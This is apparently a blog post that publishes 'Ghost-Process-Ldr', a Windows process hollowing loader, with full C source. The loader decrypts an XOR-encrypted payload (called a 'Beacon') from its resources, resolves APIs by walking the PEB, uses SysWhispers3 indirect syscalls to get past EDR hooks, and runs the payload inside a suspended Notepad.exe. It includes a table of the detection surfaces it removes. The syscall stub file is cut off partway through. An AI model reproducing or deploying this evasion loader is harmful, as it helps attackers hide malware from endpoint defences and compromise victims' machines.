Post

Ghost-Process-Ldr

Ghost-Process-Ldr

What is it?

A fully evasion-layered process hollowing loader. Four independent techniques are stacked so each layer removes a detection surface the previous one would leave exposed:

  • XOR-encrypted PE in .rsrc — no plaintext payload on disk, no readable PE headers in the resource section
  • PEB-walk API resolutionCreateProcessW is resolved at runtime from PEB export tables, never appears in the IAT
  • Indirect syscalls (SysWhispers3) — all NT memory operations bypass user-mode hooks by going directly to the kernel
  • Process hollowing — payload runs inside a legitimate Notepad.exe, providing a clean process name, parent, and digital signature

Ghost Hollowing Flow

How it works

Offline — Enc.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
python3 Enc.py agent.bin out/

Cipher: XOR with SplitMix64 keystream keyed by block index
    _mix(key, idx):
        x = key ^ (idx * 0x9E3779B97F4A7C15)
        x = (x ^ (x >> 30)) * 0xBF58476D1CE4E5B9
        x = (x ^ (x >> 27)) * 0x94D049BB133111EB
        return x ^ (x >> 31)

Encrypt and decrypt are the same operation — XOR is symmetric.
Round-trip self-check runs before writing to catch any bug.

Output:
    agent_enc.bin       → embed as RCDATA in .rsrc (IDR_N0XSHELL1 / "N0xshell")
    blob_crypt_key.h    → BLOB_KEY, BLOB_SIZE — compiled into the loader

PEB-walk API resolution

1
2
3
4
5
6
7
8
9
ResolveApis(&g_Api)
    GS:[0x60] → PEB → Ldr.InMemoryOrderModuleList
    walk until BaseDllName djb2-hash == APIR_HASH_KERNEL32
    parse export directory, hash each name with djb2
    match APIR_HASH_CREATEPROCESSA → store pointer in g_Api.pCreateProcessA

# define CreateProcessA  g_Api.pCreateProcessA   ← shadows the IAT import

Result: no import thunk — IAT shows no dependency on CreateProcessA at all

Indirect syscall initialization

1
2
3
4
5
6
7
8
9
10
SW3_PopulateSyscallList()
    walk ntdll.dll export directory
    collect all Zw* entries → sort by address ascending
    syscall number (SSN) = position in sorted list
    store SSN + clean syscall stub address per function

Sw3NtAllocateVirtualMemory / Sw3NtWriteVirtualMemory / etc.:
    set EAX = SSN
    call into a clean syscall stub (not ntdll's potentially hooked version)
    CPU transitions directly to kernel — EDR hooks in ntdll are bypassed

Decrypt payload from resource

1
2
3
4
5
6
7
8
9
10
BlobDecryptFromResource(NULL, IDR_N0XSHELL1, L"N0xshell", BLOB_KEY, &sBufferSize)
    FindResourceW → LoadResource → LockResource   (resource is PAGE_READONLY)
    HeapAlloc + CopyMemory                        (writable copy on heap)
    BlobDecryptInPlace(buf, BLOB_SIZE, BLOB_KEY)
        for each 8-byte block i:
            ks = _blobc_mix(BLOB_KEY, i)
            buf[i*8 .. i*8+7] ^= ks (little-endian, byte by byte)
    assert *(WORD*)buf == 0x5A4D ("MZ")           (sanity check before hollow)

SecureZeroMemory + HeapFree on exit — wipes plaintext before any dump can catch it

Process hollowing

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
CreateProcessW(L"Notepad.exe", CREATE_SUSPENDED | CREATE_NO_WINDOW)
→ target spawned, main thread suspended before it executes a single instruction

Sw3NtQueryInformationProcess(ProcessBasicInformation)
→ PebBaseAddress

Sw3NtReadVirtualMemory(PEB + 0x10)
→ target's ImageBase (where Notepad.exe mapped itself)

NtUnmapViewOfSection(hProcess, targetImageBase)
→ evict Notepad.exe from VA space — memory free

Sw3NtAllocateVirtualMemory:
    attempt 1 → payload's preferred ImageBase (OptionalHeader.ImageBase)
    attempt 2 → NULL (any free VA, if preferred is busy)
    flags: PAGE_EXECUTE_READWRITE, MEM_COMMIT | MEM_RESERVE

Sw3NtWriteVirtualMemory:
    → PE headers (SizeOfHeaders bytes)
    → each section at its VirtualAddress offset

ApplyRelocations (if pAllocBase != preferred):
    walk .reloc table (IMAGE_BASE_RELOCATION blocks)
    for each DIR64 entry:
        NtReadVirtualMemory → add delta → NtWriteVirtualMemory

LoadRemoteDependencies:
    parse payload's import directory
    for each DLL: NtCreateThreadEx(hProcess, LoadLibraryA, dllName)
    → payload's DLLs are now mapped in target

FixImports:
    walk IAT (OriginalFirstThunk → FirstThunk)
    GetProcAddress on our process (system DLLs share VA — ASLR is boot-time)
    Sw3NtWriteVirtualMemory → patch each IAT slot in target

Sw3NtWriteVirtualMemory → PEB+0x10 = pAllocBase
    → PEB.ImageBaseAddress updated so tools inspecting the process see our payload

NtGetContextThread → ctx.Rcx = pAllocBase + EP_RVA
NtSetContextThread → thread will start at payload entry point
NtResumeThread     → payload starts executing inside Notepad.exe

Detection surface comparison

1
2
3
4
5
6
7
8
                        Classic hollowing       This loader
─────────────────────────────────────────────────────────────
Payload on disk         plaintext PE            XOR-encrypted blob
IAT entries             visible imports         no CreateProcessW entry
Memory operations       Win32 API calls         indirect Sw3Nt* syscalls
NTDLL hooks triggered   all of them             none — kernel direct
Heap after hollowing    plaintext PE bytes      SecureZeroMemory'd
Process image shown     hollow shell            Notepad.exe (signed)

ghost-hollowing-ldr.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
#include <windows.h>
#include <stdio.h>

#include "resource.h"
#include "blob_crypt.h"
#include "blob_crypt_key.h"
#include "api_resolve.h"
#include "syscall-n0xshell.h"
#include "nt_wrappers.h"
#include "Structs.h"

#pragma comment(lib, "WindowsApp.lib")
#pragma warning(disable:4996)

/*
    Process Hollowing loader.
    Evasion layers:
      1. Beacon XOR-encrypted in .rsrc (no plaintext PE on disk).
      2. PEB-walk API resolution.
      3. Indirect syscalls (SysWhispers3) for all NT operations.
      4. No VirtualAllocEx / WriteProcessMemory / SetThreadContext Win32 wrappers.

    Flow:
      1. Decrypt PE from resource.
      2. CreateProcessW(LEGIT_IMG, CREATE_SUSPENDED).
      3. NtQueryInformationProcess -> PEB -> read target ImageBase.
      4. NtUnmapViewOfSection  (evict target image).
      5. NtAllocateVirtualMemory at payload preferred base (fallback: any VA).
      6. NtWriteVirtualMemory  -> headers + sections.
      7. Apply base relocations if allocation base != preferred base.
      8. Inject each imported DLL into target via remote NtCreateThreadEx(LoadLibraryA).
      9. Resolve imports (GetProcAddress in our process; same VA per-boot for system DLLs).
     10. NtWriteVirtualMemory  -> patch PEB.ImageBaseAddress.
     11. NtGetContextThread -> ctx.Rcx = new EP -> NtSetContextThread.
     12. NtResumeThread.
*/

static WIN32_APIS g_Api = { 0 };

#define ERR_WINAPI(n)       printf("[!] %s failed: %d \n", (n), GetLastError())
#define ERR_NT(n, s)   printf("[!] %s failed: 0x%08X\n", (n), (ULONG)(s))

#define LEGIT_IMG   L"C:\\Windows\\System32\\Notepad.exe"


// ApplyRelocations 

static BOOL ApplyRelocations(HANDLE hProcess, PBYTE pBuf,
    PIMAGE_NT_HEADERS pNt, PVOID pRemote, LONGLONG delta)
{
    PIMAGE_DATA_DIRECTORY pDir =
        &pNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
    if (!pDir->VirtualAddress || !pDir->Size) {
        printf("[i] No reloc table — payload must have been /FIXED\n");
        return (delta == 0);   // fatal only if we're not at preferred base
    }

    PIMAGE_BASE_RELOCATION pBlk =
        (PIMAGE_BASE_RELOCATION)(pBuf + pDir->VirtualAddress);
    DWORD processed = 0;

    while (processed < pDir->Size && pBlk->SizeOfBlock) {
        DWORD  entries = (pBlk->SizeOfBlock - sizeof(*pBlk)) / sizeof(WORD);
        PWORD  pEntry = (PWORD)((PBYTE)pBlk + sizeof(*pBlk));

        for (DWORD i = 0; i < entries; i++) {
            if ((pEntry[i] >> 12) != IMAGE_REL_BASED_DIR64) continue;

            PVOID   pPatch = (PVOID)((ULONG_PTR)pRemote
                + pBlk->VirtualAddress
                + (pEntry[i] & 0x0FFF));
            ULONGLONG val = 0;
            SIZE_T    io = 0;
            Sw3NtReadVirtualMemory(hProcess, pPatch, &val, sizeof(val), &io);
            val += delta;
            Sw3NtWriteVirtualMemory(hProcess, pPatch, &val, sizeof(val), &io);
        }

        processed += pBlk->SizeOfBlock;
        pBlk = (PIMAGE_BASE_RELOCATION)((PBYTE)pBlk + pBlk->SizeOfBlock);
    }

    printf("[+] Relocations applied (delta: %+lld)\n", (long long)delta);
    return TRUE;
}


// LoadRemoteDependencies

// The target process (RuntimeBroker.exe) loads only its own DLLs.  Our payload
// almost certainly needs ws2_32.dll and others that the target didn't import.
// Fix: remote-thread each required DLL into the target via LoadLibraryA before
// we write the IAT — LoadLibraryA is idempotent, safe to call on already-loaded DLLs.

static BOOL LoadRemoteDependencies(HANDLE hProcess, PBYTE pBuf, PIMAGE_NT_HEADERS pNt)
{
    PIMAGE_DATA_DIRECTORY pDir =
        &pNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
    if (!pDir->VirtualAddress) return TRUE;

    PVOID pLoadLibA = (PVOID)GetProcAddress(
        GetModuleHandleA("kernel32.dll"), "LoadLibraryA");
    if (!pLoadLibA) {
        printf("[!] LoadLibraryA not found \n"); return FALSE;
    }

    PIMAGE_IMPORT_DESCRIPTOR pDesc =
        (PIMAGE_IMPORT_DESCRIPTOR)(pBuf + pDir->VirtualAddress);

    for (; pDesc->Name; pDesc++) {
        PCHAR szDll = (PCHAR)(pBuf + pDesc->Name);
        printf("[+] Remote-loading: %s \n", szDll);

        // Write DLL name into target
        SIZE_T nameLen = strlen(szDll) + 1;
        SIZE_T allocSz = nameLen;
        PVOID  pRemoteName = NULL;

        NTSTATUS st = Sw3NtAllocateVirtualMemory(hProcess, &pRemoteName, 0,
            &allocSz, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
        if (!NT_SUCCESS(st)) { ERR_NT("NtAllocateVirtualMemory(name)", st); return FALSE; }

        SIZE_T wr = 0;
        Sw3NtWriteVirtualMemory(hProcess, pRemoteName, szDll, nameLen, &wr);

        // Remote thread -> LoadLibraryA(dllName)
        HANDLE hThr = NULL;
        st = Sw3NtCreateThreadEx(&hThr, THREAD_ALL_ACCESS, NULL,
            hProcess, pLoadLibA, pRemoteName,
            0, 0, 0, 0, NULL);
        if (!NT_SUCCESS(st)) {
            ERR_NT("NtCreateThreadEx(LoadLib)", st);
        }
        else {
            WaitForSingleObject(hThr, 5000);
            CloseHandle(hThr);
        }
    }
    return TRUE;
}

// FixImports

// System DLLs share the same virtual address in every process (ASLR is
// boot-time, not per-process for system DLLs), so GetProcAddress on OUR
// process returns the same VA that the target will use.

static BOOL FixImports(HANDLE hProcess, PBYTE pBuf,
    PIMAGE_NT_HEADERS pNt, PVOID pRemoteBase)
{
    PIMAGE_DATA_DIRECTORY pDir =
        &pNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
    if (!pDir->VirtualAddress) return TRUE;

    PIMAGE_IMPORT_DESCRIPTOR pDesc =
        (PIMAGE_IMPORT_DESCRIPTOR)(pBuf + pDir->VirtualAddress);
    DWORD nDlls = 0, nFuncs = 0;

    for (; pDesc->Name; pDesc++) {
        PCHAR   szDll = (PCHAR)(pBuf + pDesc->Name);
        HMODULE hDll = LoadLibraryA(szDll);   // gets handle; doesn't re-load
        if (!hDll) {
            printf("[!] LoadLibraryA(%s): %d \n", szDll, GetLastError());
            return FALSE;
        }
        printf("[+]   Imports from %-30s  base: 0x%p \n", szDll, hDll);
        nDlls++;

        // Walk OriginalFirstThunk (INT); fall back to FirstThunk if absent
        PIMAGE_THUNK_DATA pINT = pDesc->OriginalFirstThunk
            ? (PIMAGE_THUNK_DATA)(pBuf + pDesc->OriginalFirstThunk)
            : (PIMAGE_THUNK_DATA)(pBuf + pDesc->FirstThunk);

        ULONG_PTR remoteIAT =
            (ULONG_PTR)pRemoteBase + pDesc->FirstThunk;

        for (; pINT->u1.AddressOfData; pINT++, remoteIAT += sizeof(PVOID)) {
            PVOID pfn = NULL;

            if (IMAGE_SNAP_BY_ORDINAL(pINT->u1.Ordinal)) {
                pfn = (PVOID)GetProcAddress(hDll,
                    MAKEINTRESOURCEA(IMAGE_ORDINAL(pINT->u1.Ordinal)));
            }
            else {
                PIMAGE_IMPORT_BY_NAME pIbn =
                    (PIMAGE_IMPORT_BY_NAME)(pBuf + pINT->u1.AddressOfData);
                pfn = (PVOID)GetProcAddress(hDll, pIbn->Name);
                if (!pfn)
                    printf("[!]     GetProcAddress(%s) failed \n", pIbn->Name);
            }

            SIZE_T wr = 0;
            Sw3NtWriteVirtualMemory(hProcess, (PVOID)remoteIAT,
                &pfn, sizeof(PVOID), &wr);
            nFuncs++;
        }
    }

    printf("[+] Imports resolved: %lu DLLs / %lu functions \n", nDlls, nFuncs);
    return TRUE;
}

// HollowProcess

static BOOL HollowProcess(IN PBYTE pBuf, IN DWORD dwSize)
{
    BOOL                      bResult = FALSE;
    NTSTATUS                  st = STATUS_SUCCESS;
    STARTUPINFOW              si = { sizeof(si) };
    PROCESS_INFORMATION       pi = { 0 };
    PROCESS_BASIC_INFORMATION pbi = { 0 };
    PVOID                     pRemoteVictimBase = NULL;
    PVOID                     pAllocBase = NULL;
    SIZE_T                    stImageSz = 0;
    SIZE_T                    ioBytes = 0;

    // Resolve NT functions absent from SW3 stubs
    typedef NTSTATUS(NTAPI* pfnNtUnmap)  (HANDLE, PVOID);
    typedef NTSTATUS(NTAPI* pfnNtGetCtx) (HANDLE, PCONTEXT);
    typedef NTSTATUS(NTAPI* pfnNtSetCtx) (HANDLE, PCONTEXT);
    HMODULE     hNtdll = GetModuleHandleW(L"ntdll.dll");
    pfnNtUnmap  pNtUnmap = (pfnNtUnmap)GetProcAddress(hNtdll, "NtUnmapViewOfSection");
    pfnNtGetCtx pNtGetCtx = (pfnNtGetCtx)GetProcAddress(hNtdll, "NtGetContextThread");
    pfnNtSetCtx pNtSetCtx = (pfnNtSetCtx)GetProcAddress(hNtdll, "NtSetContextThread");
    if (!pNtUnmap || !pNtGetCtx || !pNtSetCtx) {
        printf("[!] Failed to resolve Nt{Unmap,GetCtx,SetCtx} from NTDLL \n");
        return FALSE;
    }

    PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)pBuf;
    PIMAGE_NT_HEADERS pNt = (PIMAGE_NT_HEADERS)(pBuf + pDos->e_lfanew);

    PVOID pPref = (PVOID)pNt->OptionalHeader.ImageBase;
    DWORD dwImgSz = pNt->OptionalHeader.SizeOfImage;
    DWORD dwEpRva = pNt->OptionalHeader.AddressOfEntryPoint;

    printf("[+] Payload: preferred=0x%p  SizeOfImage=0x%X  EP_RVA=0x%X \n",
        pPref, dwImgSz, dwEpRva);

    // Create target suspended
    if (!CreateProcessW(LEGIT_IMG, NULL, NULL, NULL, FALSE,
        CREATE_SUSPENDED | CREATE_NO_WINDOW,
        NULL, NULL, &si, &pi))
    {
        ERR_WINAPI("CreateProcessW"); return FALSE;
    }
    printf("[+] Target PID: %d  TID: %d \n", pi.dwProcessId, pi.dwThreadId);

    // Get PEB
    if (!NT_SUCCESS((st = Sw3NtQueryInformationProcess(pi.hProcess,
        ProcessBasicInformation, &pbi, sizeof(pbi), NULL))))
    {
        ERR_NT("NtQueryInformationProcess", st); goto _Done;
    }

    printf("[+] PEB: 0x%p \n", pbi.PebBaseAddress);

    // ── 3. Read PEB.ImageBaseAddress (x64: PEB+0x10) ─────────────────────────
    if (!NT_SUCCESS((st = Sw3NtReadVirtualMemory(pi.hProcess,
        (PVOID)((ULONG_PTR)pbi.PebBaseAddress + 0x10),
        &pRemoteVictimBase, sizeof(PVOID), &ioBytes))))
    {
        ERR_NT("NtReadVirtualMemory(ImageBase)", st); goto _Done;
    }

    printf("[+] Target ImageBase: 0x%p \n", pRemoteVictimBase);

    // Unmap target image
    if (!NT_SUCCESS((st = pNtUnmap(pi.hProcess, pRemoteVictimBase))))
    {
        ERR_NT("NtUnmapViewOfSection", st); goto _Done;
    }

    printf("[+] Target image unmapped \n");

    // Allocate: try preferred base first, fall back to any VA
    pAllocBase = pPref;
    stImageSz = dwImgSz;
    st = Sw3NtAllocateVirtualMemory(pi.hProcess, &pAllocBase, 0, &stImageSz,
        MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

    if (!NT_SUCCESS(st)) {
        printf("[+] Preferred base busy (0x%08X) — trying any VA \n", (ULONG)st);
        pAllocBase = NULL;
        stImageSz = dwImgSz;
        if (!NT_SUCCESS((st = Sw3NtAllocateVirtualMemory(pi.hProcess, &pAllocBase, 0,
            &stImageSz, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE))))
        {
            ERR_NT("NtAllocateVirtualMemory", st); goto _Done;
        }
    }
    printf("[+] Allocated: 0x%p  (0x%zX bytes) \n", pAllocBase, stImageSz);

    // Write headers
    if (!NT_SUCCESS((st = Sw3NtWriteVirtualMemory(pi.hProcess, pAllocBase,
        pBuf, pNt->OptionalHeader.SizeOfHeaders, &ioBytes))))
    {
        ERR_NT("NtWriteVirtualMemory(headers)", st); goto _Done;
    }

    // Write sections
    PIMAGE_SECTION_HEADER pSec = IMAGE_FIRST_SECTION(pNt);
    for (WORD i = 0; i < pNt->FileHeader.NumberOfSections; i++, pSec++) {
        if (!pSec->SizeOfRawData) continue;
        PVOID pDst = (PVOID)((ULONG_PTR)pAllocBase + pSec->VirtualAddress);
        if (!NT_SUCCESS((st = Sw3NtWriteVirtualMemory(pi.hProcess, pDst,
            pBuf + pSec->PointerToRawData, pSec->SizeOfRawData, &ioBytes))))
        {
            printf("[!] NtWriteVirtualMemory(%.8s): 0x%08X\ n", pSec->Name, (ULONG)st);
            goto _Done;
        }
        printf("[+] Section %-8.8s → 0x%p  %d bytes \n",
            pSec->Name, pDst, pSec->SizeOfRawData);
    }

    // Relocations
    {
        LONGLONG delta = (LONGLONG)pAllocBase - (LONGLONG)pPref;
        if (delta) {
            if (!ApplyRelocations(pi.hProcess, pBuf, pNt, pAllocBase, delta))
                goto _Done;
        }
        else {
            printf("[+] Loaded at preferred base — no relocs needed \n");
        }
    }

    // Load payload's DLLs into target before fixing IAT
    printf("[+] Injecting payload dependencies into target \n");
    if (!LoadRemoteDependencies(pi.hProcess, pBuf, pNt))
        goto _Done;

    // Fix IAT
    printf("[+] Fixing imports...\n");
    if (!FixImports(pi.hProcess, pBuf, pNt, pAllocBase))
        goto _Done;

    // Patch PEB.ImageBaseAddress
    if (!NT_SUCCESS((st = Sw3NtWriteVirtualMemory(pi.hProcess,
        (PVOID)((ULONG_PTR)pbi.PebBaseAddress + 0x10),
        &pAllocBase, sizeof(PVOID), &ioBytes))))
    {
        ERR_NT("NtWriteVirtualMemory(PEB.ImageBase)", st); goto _Done;
    }

    printf("[+] PEB.ImageBaseAddress -> 0x%p \n", pAllocBase);

    // Patch thread context: Rcx = new entry point
    // On x64, the initial main-thread RCX holds the EP passed to RtlUserThreadStart.
    {
        CONTEXT ctx = { 0 };
        ctx.ContextFlags = CONTEXT_FULL;

        if (!NT_SUCCESS((st = pNtGetCtx(pi.hThread, &ctx))))
        {
            ERR_NT("NtGetContextThread", st); goto _Done;
        }

        PVOID pNewEP = (PVOID)((ULONG_PTR)pAllocBase + dwEpRva);
        printf("[+] ctx.Rcx: 0x%016llX -> 0x%p \n", ctx.Rcx, pNewEP);
        ctx.Rcx = (DWORD64)pNewEP;

        if (!NT_SUCCESS((st = pNtSetCtx(pi.hThread, &ctx))))
        {
            ERR_NT("NtSetContextThread", st); goto _Done;
        }

        printf("[+] Thread context updated\n");
    }

    // ── 13. Resume thread ─────────────────────────────────────────────────────
    {
        typedef NTSTATUS(NTAPI* pfnNtResume)(HANDLE, PULONG);
        pfnNtResume pResume = (pfnNtResume)
            GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "NtResumeThread");
        if (!pResume) { printf("[!] NtResumeThread not found \n"); goto _Done; }
        ULONG prev = 0;
        if (!NT_SUCCESS((st = pResume(pi.hThread, &prev))))
        {
            ERR_NT("NtResumeThread", st); goto _Done;
        }
        printf("[+] Thread resumed (prev suspend count: %lu) \n", prev);
    }

    // Alive check
    printf("[+] \tWaiting 5 s for payload to initialize \n");
    Sleep(5000);

    DWORD dwExit = 0;
    if (GetExitCodeProcess(pi.hProcess, &dwExit)) {
        if (dwExit == STILL_ACTIVE)
            printf("[+] payload running\n");
        else {
            printf("[!] Exited early: 0x%08X \n", dwExit);
            goto _Done;
        }
    }

    printf("[*] Waiting for process exit \n");
    WaitForSingleObject(pi.hProcess, INFINITE);
    GetExitCodeProcess(pi.hProcess, &dwExit);
    printf("[*] Process exited: 0x%08X \n", dwExit);
    bResult = TRUE;

_Done:
    if (pi.hThread && pi.hThread != INVALID_HANDLE_VALUE) CloseHandle(pi.hThread);
    if (pi.hProcess && pi.hProcess != INVALID_HANDLE_VALUE) CloseHandle(pi.hProcess);
    return bResult;
}


int main()
{
    SIZE_T   sBufferSize = 0;
    uint8_t* pDecrypted = NULL;

    if (!ResolveApis(&g_Api)) { printf("[!] ResolveApis failed \n");          return -1; }
    printf("[+] PEB-walk APIs resolved \n");

    if (!SW3_PopulateSyscallList()) { printf("[!] SW3_PopulateSyscallList failed \n"); return -1; }
    printf("[+] Indirect syscalls initialized\n");

    pDecrypted = BlobDecryptFromResource(NULL, MAKEINTRESOURCEW(IDR_N0XSHELL1),
        L"N0xshell", BLOB_KEY, &sBufferSize);
    if (!pDecrypted || sBufferSize != BLOB_SIZE) {
        printf("[!] BlobDecryptFromResource failed \n"); goto _CleanUp;
    }
    if (*(WORD*)pDecrypted != 0x5A4D) {
        printf("[!] Bad MZ header in decrypted blob \n"); goto _CleanUp;
    }
    printf("[+] Decrypted %d bytes  [MZ OK] \n", sBufferSize);

    if (!HollowProcess(pDecrypted, (DWORD)sBufferSize))
        printf("[!] HollowProcess failed \n");

_CleanUp:
    if (pDecrypted) {
        SecureZeroMemory(pDecrypted, sBufferSize);
        HeapFree(GetProcessHeap(), 0, pDecrypted);
    }
    return 0;
}

syscall-n0xshell.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
#include "syscall-n0xshell.h"
#include <stdio.h>

//#define DEBUG

#define JUMPER

#ifdef _M_IX86

EXTERN_C PVOID internal_cleancall_wow64_gate(VOID) {
    return (PVOID)__readfsdword(0xC0);
}

__declspec(naked) BOOL local_is_wow64(void)
{
    __asm {
        mov eax, fs:[0xc0]
        test eax, eax
        jne wow64
        mov eax, 0
        ret
        wow64:
        mov eax, 1
        ret
    }
}


#endif

// Code below is adapted from @modexpblog. Read linked article for more details.
// https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams

SW3_SYSCALL_LIST SW3_SyscallList;

// SEARCH_AND_REPLACE
#ifdef SEARCH_AND_REPLACE
// THIS IS NOT DEFINED HERE; don't know if I'll add it in a future release
EXTERN void SearchAndReplace(unsigned char[], unsigned char[]);
#endif

DWORD SW3_HashSyscall(PCSTR FunctionName)
{
    DWORD i = 0;
    DWORD Hash = SW3_SEED;

    while (FunctionName[i])
    {
        WORD PartialName = *(WORD*)((ULONG_PTR)FunctionName + i++);
        Hash ^= PartialName + SW3_ROR8(Hash);
    }

    return Hash;
}

#ifndef JUMPER
PVOID SC_Address(PVOID NtApiAddress)
{
    return NULL;
}
#else
PVOID SC_Address(PVOID NtApiAddress)
{
    DWORD searchLimit = 512;
    PVOID SyscallAddress;

   #ifdef _WIN64
    // If the process is 64-bit on a 64-bit OS, we need to search for syscall
    BYTE syscall_code[] = { 0x0f, 0x05, 0xc3 };
    ULONG distance_to_syscall = 0x12;
   #else
    // If the process is 32-bit on a 32-bit OS, we need to search for sysenter
    BYTE syscall_code[] = { 0x0f, 0x34, 0xc3 };
    ULONG distance_to_syscall = 0x0f;
   #endif

  #ifdef _M_IX86
    // If the process is 32-bit on a 64-bit OS, we need to jump to WOW32Reserved
    if (local_is_wow64())
    {
    #ifdef DEBUG
        printf("[+] Running 32-bit app on x64 (WOW64)\n");
    #endif
        return NULL;
    }
  #endif

    // we don't really care if there is a 'jmp' between
    // NtApiAddress and the 'syscall; ret' instructions
    SyscallAddress = SW3_RVA2VA(PVOID, NtApiAddress, distance_to_syscall);

    if (!memcmp((PVOID)syscall_code, SyscallAddress, sizeof(syscall_code)))
    {
        // we can use the original code for this system call :)
        #if defined(DEBUG)
            printf("Found Syscall Opcodes at address 0x%p\n", SyscallAddress);
        #endif
        return SyscallAddress;
    }

    // the 'syscall; ret' intructions have not been found,
    // we will try to use one near it, similarly to HalosGate

    for (ULONG32 num_jumps = 1; num_jumps < searchLimit; num_jumps++)
    {
        // let's try with an Nt* API below our syscall
        SyscallAddress = SW3_RVA2VA(
            PVOID,
            NtApiAddress,
            distance_to_syscall + num_jumps * 0x20);
        if (!memcmp((PVOID)syscall_code, SyscallAddress, sizeof(syscall_code)))
        {
        #if defined(DEBUG)
            printf("Found Syscall Opcodes at address 0x%p\n", SyscallAddress);
        #endif
            return SyscallAddress;
        }

        // let's try with an Nt* API above our syscall
        SyscallAddress = SW3_RVA2VA(
            PVOID,
            NtApiAddress,
            distance_to_syscall - num_jumps * 0x20);
        if (!memcmp((PVOID)syscall_code, SyscallAddress, sizeof(syscall_code)))
        {
        #if defined(DEBUG)
            printf("Found Syscall Opcodes at address 0x%p\n", SyscallAddress);
        #endif
            return SyscallAddress;
        }
    }

#ifdef DEBUG
    printf("Syscall Opcodes not found!\n");
#endif

    return NULL;
}
#endif


BOOL SW3_PopulateSyscallList()
{
    // Return early if the list is already populated.
    if (SW3_SyscallList.Count) return TRUE;

    #ifdef _WIN64
    PSW3_PEB Peb = (PSW3_PEB)__readgsqword(0x60);
    #else
    PSW3_PEB Peb = (PSW3_PEB)__readfsdword(0x30);
    #endif
    PSW3_PEB_LDR_DATA Ldr = Peb->Ldr;
    PIMAGE_EXPORT_DIRECTORY ExportDirectory = NULL;
    PVOID DllBase = NULL;

    // Get the DllBase address of NTDLL.dll. NTDLL is not guaranteed to be the second
    // in the list, so it's safer to loop through the full list and find it.
    PSW3_LDR_DATA_TABLE_ENTRY LdrEntry;
    for (LdrEntry = (PSW3_LDR_DATA_TABLE_ENTRY)Ldr->Reserved2[1]; LdrEntry->DllBase != NULL; LdrEntry = (PSW3_LDR_DATA_TABLE_ENTRY)LdrEntry->Reserved1[0])
    {
        DllBase = LdrEntry->DllBase;
        PIMAGE_DOS_HEADER DosHeader = (PIMAGE_DOS_HEADER)DllBase;
        PIMAGE_NT_HEADERS NtHeaders = SW3_RVA2VA(PIMAGE_NT_HEADERS, DllBase, DosHeader->e_lfanew);
        PIMAGE_DATA_DIRECTORY DataDirectory = (PIMAGE_DATA_DIRECTORY)NtHeaders->OptionalHeader.DataDirectory;
        DWORD VirtualAddress = DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
        if (VirtualAddress == 0) continue;

        ExportDirectory = (PIMAGE_EXPORT_DIRECTORY)SW3_RVA2VA(ULONG_PTR, DllBase, VirtualAddress);

        // If this is NTDLL.dll, exit loop.
        PCHAR DllName = SW3_RVA2VA(PCHAR, DllBase, ExportDirectory->Name);

        if ((*(ULONG*)DllName | 0x20202020) != 0x6c64746e) continue;
